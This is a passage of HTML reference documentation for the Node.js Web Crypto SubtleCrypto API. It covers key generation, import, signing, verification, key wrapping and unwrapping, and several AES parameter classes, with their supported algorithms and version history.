<li><code>algorithm</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a> | <a href="webcrypto.html#class-rsahashedkeygenparams" class="type">&#x3C;RsaHashedKeyGenParams></a> | <a href="webcrypto.html#class-eckeygenparams" class="type">&#x3C;EcKeyGenParams></a> | <a href="webcrypto.html#class-hmackeygenparams" class="type">&#x3C;HmacKeyGenParams></a> | <a href="webcrypto.html#class-aeskeygenparams" class="type">&#x3C;AesKeyGenParams></a></li>
</ul>
<!--lint enable maximum-line-length remark-lint-->
<ul>
<li><code>extractable</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type" class="type">&#x3C;boolean></a></li>
<li><code>keyUsages</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string[]></a> See <a href="#cryptokeyusages">Key usages</a>.</li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with a <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> | <a href="webcrypto.html#class-cryptokeypair" class="type">&#x3C;CryptoKeyPair></a> upon success.</li>
</ul>
<p>Using the parameters provided in <code>algorithm</code>, this method
attempts to generate new keying material. Depending on the algorithm used
either a single <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> or a <a href="webcrypto.html#class-cryptokeypair" class="type">&#x3C;CryptoKeyPair></a> is generated.</p>
<p>The <a href="webcrypto.html#class-cryptokeypair" class="type">&#x3C;CryptoKeyPair></a> (public and private key) generating algorithms supported
include:</p>
<ul>
<li><code>'RSASSA-PKCS1-v1_5'</code></li>
<li><code>'RSA-PSS'</code></li>
<li><code>'RSA-OAEP'</code></li>
<li><code>'ECDSA'</code></li>
<li><code>'Ed25519'</code></li>
<li><code>'Ed448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-8" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></li>
<li><code>'ECDH'</code></li>
<li><code>'X25519'</code></li>
<li><code>'X448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-9" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></li>
</ul>
<p>The <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> (secret key) generating algorithms supported include:</p>
<ul>
<li><code>'HMAC'</code></li>
<li><code>'AES-CTR'</code></li>
<li><code>'AES-CBC'</code></li>
<li><code>'AES-GCM'</code></li>
<li><code>'AES-KW'</code></li>
</ul>
</div><div>
<h4><code>subtle.importKey(format, keyData, algorithm, extractable, keyUsages)</code><span><a class="mark" href="#subtleimportkeyformat-keydata-algorithm-extractable-keyusages" id="subtleimportkeyformat-keydata-algorithm-extractable-keyusages">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_importkey_format_keydata_algorithm_extractable_keyusages"></a></h4>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v18.4.0, v16.17.0</td>
<td><p>Added <code>'Ed25519'</code>, <code>'Ed448'</code>, <code>'X25519'</code>, and <code>'X448'</code> algorithms.</p></td></tr>
<tr><td>v15.9.0</td>
<td><p>Removed <code>'NODE-DSA'</code> JWK import.</p></td></tr>
<tr><td>v15.0.0</td>
<td><p><span>Added in: v15.0.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>format</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'raw'</code>, <code>'pkcs8'</code>, <code>'spki'</code>, or <code>'jwk'</code>.</li>
<li><code>keyData</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a></li>
</ul>
<!--lint disable maximum-line-length remark-lint-->
<ul>
<li><code>algorithm</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a> | <a href="webcrypto.html#class-rsahashedimportparams" class="type">&#x3C;RsaHashedImportParams></a> | <a href="webcrypto.html#class-eckeyimportparams" class="type">&#x3C;EcKeyImportParams></a> | <a href="webcrypto.html#class-hmacimportparams" class="type">&#x3C;HmacImportParams></a></li>
</ul>
<!--lint enable maximum-line-length remark-lint-->
<ul>
<li><code>extractable</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type" class="type">&#x3C;boolean></a></li>
<li><code>keyUsages</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string[]></a> See <a href="#cryptokeyusages">Key usages</a>.</li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with a <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> upon success.</li>
</ul>
<p>This method attempts to interpret the provided <code>keyData</code>
as the given <code>format</code> to create a <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> instance using the provided
<code>algorithm</code>, <code>extractable</code>, and <code>keyUsages</code> arguments. If the import is
successful, the returned promise will be resolved with a <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a>
representation of the key material.</p>
<p>If importing a <code>'PBKDF2'</code> key, <code>extractable</code> must be <code>false</code>.</p>
<p>The algorithms currently supported include:</p>




























































































































<table><thead><tr><th>Supported Key Algorithm</th><th><code>'spki'</code></th><th><code>'pkcs8'</code></th><th><code>'jwk'</code></th><th><code>'raw'</code></th></tr></thead><tbody><tr><td><code>'AES-CBC'</code></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'AES-CTR'</code></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'AES-GCM'</code></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'AES-KW'</code></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'ECDH'</code></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td></tr><tr><td><code>'X25519'</code></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td></tr><tr><td><code>'X448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-10" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td></tr><tr><td><code>'ECDSA'</code></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td></tr><tr><td><code>'Ed25519'</code></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td></tr><tr><td><code>'Ed448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-11" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td></tr><tr><td><code>'HDKF'</code></td><td></td><td></td><td></td><td>✔</td></tr><tr><td><code>'HMAC'</code></td><td></td><td></td><td>✔</td><td>✔</td></tr><tr><td><code>'PBKDF2'</code></td><td></td><td></td><td></td><td>✔</td></tr><tr><td><code>'RSA-OAEP'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td></tr><tr><td><code>'RSA-PSS'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td></tr><tr><td><code>'RSASSA-PKCS1-v1_5'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td></tr></tbody></table>
</div><div>
<h4><code>subtle.sign(algorithm, key, data)</code><span><a class="mark" href="#subtlesignalgorithm-key-data" id="subtlesignalgorithm-key-data">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_sign_algorithm_key_data"></a></h4>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v18.4.0, v16.17.0</td>
<td><p>Added <code>'Ed25519'</code>, and <code>'Ed448'</code> algorithms.</p></td></tr>
<tr><td>v15.0.0</td>
<td><p><span>Added in: v15.0.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<!--lint disable maximum-line-length remark-lint-->
<ul>
<li><code>algorithm</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a> | <a href="webcrypto.html#class-rsapssparams" class="type">&#x3C;RsaPssParams></a> | <a href="webcrypto.html#class-ecdsaparams" class="type">&#x3C;EcdsaParams></a> | <a href="webcrypto.html#class-ed448params" class="type">&#x3C;Ed448Params></a></li>
<li><code>key</code> <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a></li>
<li><code>data</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> upon success.</li>
</ul>
<!--lint enable maximum-line-length remark-lint-->
<p>Using the method and parameters given by <code>algorithm</code> and the keying material
provided by <code>key</code>, <code>subtle.sign()</code> attempts to generate a cryptographic
signature of <code>data</code>. If successful, the returned promise is resolved with
an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> containing the generated signature.</p>
<p>The algorithms currently supported include:</p>
<ul>
<li><code>'RSASSA-PKCS1-v1_5'</code></li>
<li><code>'RSA-PSS'</code></li>
<li><code>'ECDSA'</code></li>
<li><code>'Ed25519'</code></li>
<li><code>'Ed448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-12" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></li>
<li><code>'HMAC'</code></li>
</ul>
</div><div>
<h4><code>subtle.unwrapKey(format, wrappedKey, unwrappingKey, unwrapAlgo, unwrappedKeyAlgo, extractable, keyUsages)</code><span><a class="mark" href="#subtleunwrapkeyformat-wrappedkey-unwrappingkey-unwrapalgo-unwrappedkeyalgo-extractable-keyusages" id="subtleunwrapkeyformat-wrappedkey-unwrappingkey-unwrapalgo-unwrappedkeyalgo-extractable-keyusages">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_unwrapkey_format_wrappedkey_unwrappingkey_unwrapalgo_unwrappedkeyalgo_extractable_keyusages"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li><code>format</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'raw'</code>, <code>'pkcs8'</code>, <code>'spki'</code>, or <code>'jwk'</code>.</li>
<li><code>wrappedKey</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
<li><code>unwrappingKey</code> <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a></li>
</ul>
<!--lint disable maximum-line-length remark-lint-->
<ul>
<li><code>unwrapAlgo</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a> | <a href="webcrypto.html#class-rsaoaepparams" class="type">&#x3C;RsaOaepParams></a> | <a href="webcrypto.html#class-aesctrparams" class="type">&#x3C;AesCtrParams></a> | <a href="webcrypto.html#class-aescbcparams" class="type">&#x3C;AesCbcParams></a> | <a href="webcrypto.html#class-aesgcmparams" class="type">&#x3C;AesGcmParams></a></li>
<li><code>unwrappedKeyAlgo</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a> | <a href="webcrypto.html#class-rsahashedimportparams" class="type">&#x3C;RsaHashedImportParams></a> | <a href="webcrypto.html#class-eckeyimportparams" class="type">&#x3C;EcKeyImportParams></a> | <a href="webcrypto.html#class-hmacimportparams" class="type">&#x3C;HmacImportParams></a></li>
</ul>
<!--lint enable maximum-line-length remark-lint-->
<ul>
<li><code>extractable</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type" class="type">&#x3C;boolean></a></li>
<li><code>keyUsages</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string[]></a> See <a href="#cryptokeyusages">Key usages</a>.</li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with a <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> upon success.</li>
</ul>
<p>In cryptography, "wrapping a key" refers to exporting and then encrypting the
keying material. The <code>subtle.unwrapKey()</code> method attempts to decrypt a wrapped
key and create a <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> instance. It is equivalent to calling
<code>subtle.decrypt()</code> first on the encrypted key data (using the <code>wrappedKey</code>,
<code>unwrapAlgo</code>, and <code>unwrappingKey</code> arguments as input) then passing the results
in to the <code>subtle.importKey()</code> method using the <code>unwrappedKeyAlgo</code>,
<code>extractable</code>, and <code>keyUsages</code> arguments as inputs. If successful, the returned
promise is resolved with a <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a> object.</p>
<p>The wrapping algorithms currently supported include:</p>
<ul>
<li><code>'RSA-OAEP'</code></li>
<li><code>'AES-CTR'</code></li>
<li><code>'AES-CBC'</code></li>
<li><code>'AES-GCM'</code></li>
<li><code>'AES-KW'</code></li>
</ul>
<p>The unwrapped key algorithms supported include:</p>
<ul>
<li><code>'RSASSA-PKCS1-v1_5'</code></li>
<li><code>'RSA-PSS'</code></li>
<li><code>'RSA-OAEP'</code></li>
<li><code>'ECDSA'</code></li>
<li><code>'Ed25519'</code></li>
<li><code>'Ed448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-13" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></li>
<li><code>'ECDH'</code></li>
<li><code>'X25519'</code></li>
<li><code>'X448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-14" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></li>
<li><code>'HMAC'</code></li>
<li><code>'AES-CTR'</code></li>
<li><code>'AES-CBC'</code></li>
<li><code>'AES-GCM'</code></li>
<li><code>'AES-KW'</code></li>
</ul>
</div><div>
<h4><code>subtle.verify(algorithm, key, signature, data)</code><span><a class="mark" href="#subtleverifyalgorithm-key-signature-data" id="subtleverifyalgorithm-key-signature-data">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_verify_algorithm_key_signature_data"></a></h4>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v18.4.0, v16.17.0</td>
<td><p>Added <code>'Ed25519'</code>, and <code>'Ed448'</code> algorithms.</p></td></tr>
<tr><td>v15.0.0</td>
<td><p><span>Added in: v15.0.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<!--lint disable maximum-line-length remark-lint-->
<ul>
<li><code>algorithm</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a> | <a href="webcrypto.html#class-rsapssparams" class="type">&#x3C;RsaPssParams></a> | <a href="webcrypto.html#class-ecdsaparams" class="type">&#x3C;EcdsaParams></a> | <a href="webcrypto.html#class-ed448params" class="type">&#x3C;Ed448Params></a></li>
<li><code>key</code> <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a></li>
<li><code>signature</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
<li><code>data</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type" class="type">&#x3C;boolean></a> upon success.</li>
</ul>
<!--lint enable maximum-line-length remark-lint-->
<p>Using the method and parameters given in <code>algorithm</code> and the keying material
provided by <code>key</code>, <code>subtle.verify()</code> attempts to verify that <code>signature</code> is
a valid cryptographic signature of <code>data</code>. The returned promise is resolved
with either <code>true</code> or <code>false</code>.</p>
<p>The algorithms currently supported include:</p>
<ul>
<li><code>'RSASSA-PKCS1-v1_5'</code></li>
<li><code>'RSA-PSS'</code></li>
<li><code>'ECDSA'</code></li>
<li><code>'Ed25519'</code></li>
<li><code>'Ed448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-15" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></li>
<li><code>'HMAC'</code></li>
</ul>
</div><div>
<h4><code>subtle.wrapKey(format, key, wrappingKey, wrapAlgo)</code><span><a class="mark" href="#subtlewrapkeyformat-key-wrappingkey-wrapalgo" id="subtlewrapkeyformat-key-wrappingkey-wrapalgo">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_subtle_wrapkey_format_key_wrappingkey_wrapalgo"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<!--lint disable maximum-line-length remark-lint-->
<ul>
<li><code>format</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'raw'</code>, <code>'pkcs8'</code>, <code>'spki'</code>, or <code>'jwk'</code>.</li>
<li><code>key</code> <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a></li>
<li><code>wrappingKey</code> <a href="webcrypto.html#class-cryptokey" class="type">&#x3C;CryptoKey></a></li>
<li><code>wrapAlgo</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="webcrypto.html#class-algorithm" class="type">&#x3C;Algorithm></a> | <a href="webcrypto.html#class-rsaoaepparams" class="type">&#x3C;RsaOaepParams></a> | <a href="webcrypto.html#class-aesctrparams" class="type">&#x3C;AesCtrParams></a> | <a href="webcrypto.html#class-aescbcparams" class="type">&#x3C;AesCbcParams></a> | <a href="webcrypto.html#class-aesgcmparams" class="type">&#x3C;AesGcmParams></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a> Fulfills with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> upon success.</li>
</ul>
<!--lint enable maximum-line-length remark-lint-->
<p>In cryptography, "wrapping a key" refers to exporting and then encrypting the
keying material. The <code>subtle.wrapKey()</code> method exports the keying material into
the format identified by <code>format</code>, then encrypts it using the method and
parameters specified by <code>wrapAlgo</code> and the keying material provided by
<code>wrappingKey</code>. It is the equivalent to calling <code>subtle.exportKey()</code> using
<code>format</code> and <code>key</code> as the arguments, then passing the result to the
<code>subtle.encrypt()</code> method using <code>wrappingKey</code> and <code>wrapAlgo</code> as inputs. If
successful, the returned promise will be resolved with an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a>
containing the encrypted key data.</p>
<p>The wrapping algorithms currently supported include:</p>
<ul>
<li><code>'RSA-OAEP'</code></li>
<li><code>'AES-CTR'</code></li>
<li><code>'AES-CBC'</code></li>
<li><code>'AES-GCM'</code></li>
<li><code>'AES-KW'</code></li>
</ul>
</div>
</section><section><h3>Algorithm parameters<span><a class="mark" href="#algorithm-parameters" id="algorithm-parameters">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_algorithm_parameters"></a></h3>
<p>The algorithm parameter objects define the methods and parameters used by
the various <a href="webcrypto.html#class-subtlecrypto" class="type">&#x3C;SubtleCrypto></a> methods. While described here as "classes", they
are simple JavaScript dictionary objects.</p>
<div>
<h4>Class: <code>Algorithm</code><span><a class="mark" href="#class-algorithm" id="class-algorithm">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_algorithm"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>Algorithm.name</code><span><a class="mark" href="#algorithmname" id="algorithmname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_algorithm_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
</div></div><div>
<h4>Class: <code>AesDerivedKeyParams</code><span><a class="mark" href="#class-aesderivedkeyparams" id="class-aesderivedkeyparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_aesderivedkeyparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>aesDerivedKeyParams.name</code><span><a class="mark" href="#aesderivedkeyparamsname" id="aesderivedkeyparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aesderivedkeyparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be one of <code>'AES-CBC'</code>, <code>'AES-CTR'</code>, <code>'AES-GCM'</code>, or
<code>'AES-KW'</code></li>
</ul>
</div><div>
<h5><code>aesDerivedKeyParams.length</code><span><a class="mark" href="#aesderivedkeyparamslength" id="aesderivedkeyparamslength">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aesderivedkeyparams_length"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a></li>
</ul>
<p>The length of the AES key to be derived. This must be either <code>128</code>, <code>192</code>,
or <code>256</code>.</p>
</div></div><div>
<h4>Class: <code>AesCbcParams</code><span><a class="mark" href="#class-aescbcparams" id="class-aescbcparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_aescbcparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>aesCbcParams.iv</code><span><a class="mark" href="#aescbcparamsiv" id="aescbcparamsiv">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aescbcparams_iv"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
</ul>
<p>Provides the initialization vector. It must be exactly 16-bytes in length
and should be unpredictable and cryptographically random.</p>
</div><div>
<h5><code>aesCbcParams.name</code><span><a class="mark" href="#aescbcparamsname" id="aescbcparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aescbcparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be <code>'AES-CBC'</code>.</li>
</ul>
</div></div><div>
<h4>Class: <code>AesCtrParams</code><span><a class="mark" href="#class-aesctrparams" id="class-aesctrparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_aesctrparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>aesCtrParams.counter</code><span><a class="mark" href="#aesctrparamscounter" id="aesctrparamscounter">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aesctrparams_counter"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a></li>
</ul>
<p>The initial value of the counter block. This must be exactly 16 bytes long.</p>
<p>The <code>AES-CTR</code> method uses the rightmost <code>length</code> bits of the block as the
counter and the remaining bits as the nonce.</p>
</div><div>
<h5><code>aesCtrParams.length</code><span><a class="mark" href="#aesctrparamslength" id="aesctrparamslength">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aesctrparams_length"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type" class="type">&#x3C;number></a> The number of bits in the <code>aesCtrParams.counter</code> that are
to be used as the counter.</li>
</ul>
</div><div>
<h5><code>aesCtrParams.name</code><span><a class="mark" href="#aesctrparamsname" id="aesctrparamsname">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aesctrparams_name"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> Must be <code>'AES-CTR'</code>.</li>
</ul>
</div></div><div>
<h4>Class: <code>AesGcmParams</code><span><a class="mark" href="#class-aesgcmparams" id="class-aesgcmparams">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_class_aesgcmparams"></a></h4>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<div>
<h5><code>aesGcmParams.additionalData</code><span><a class="mark" href="#aesgcmparamsadditionaldata" id="aesgcmparamsadditionaldata">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aesgcmparams_additionaldata"></a></h5>
<div class="api_metadata">
<span>Added in: v15.0.0</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" class="type">&#x3C;ArrayBuffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray" class="type">&#x3C;TypedArray></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView" class="type">&#x3C;DataView></a> | <a href="buffer.html#class-buffer" class="type">&#x3C;Buffer></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Undefined_type" class="type">&#x3C;undefined></a></li>
</ul>
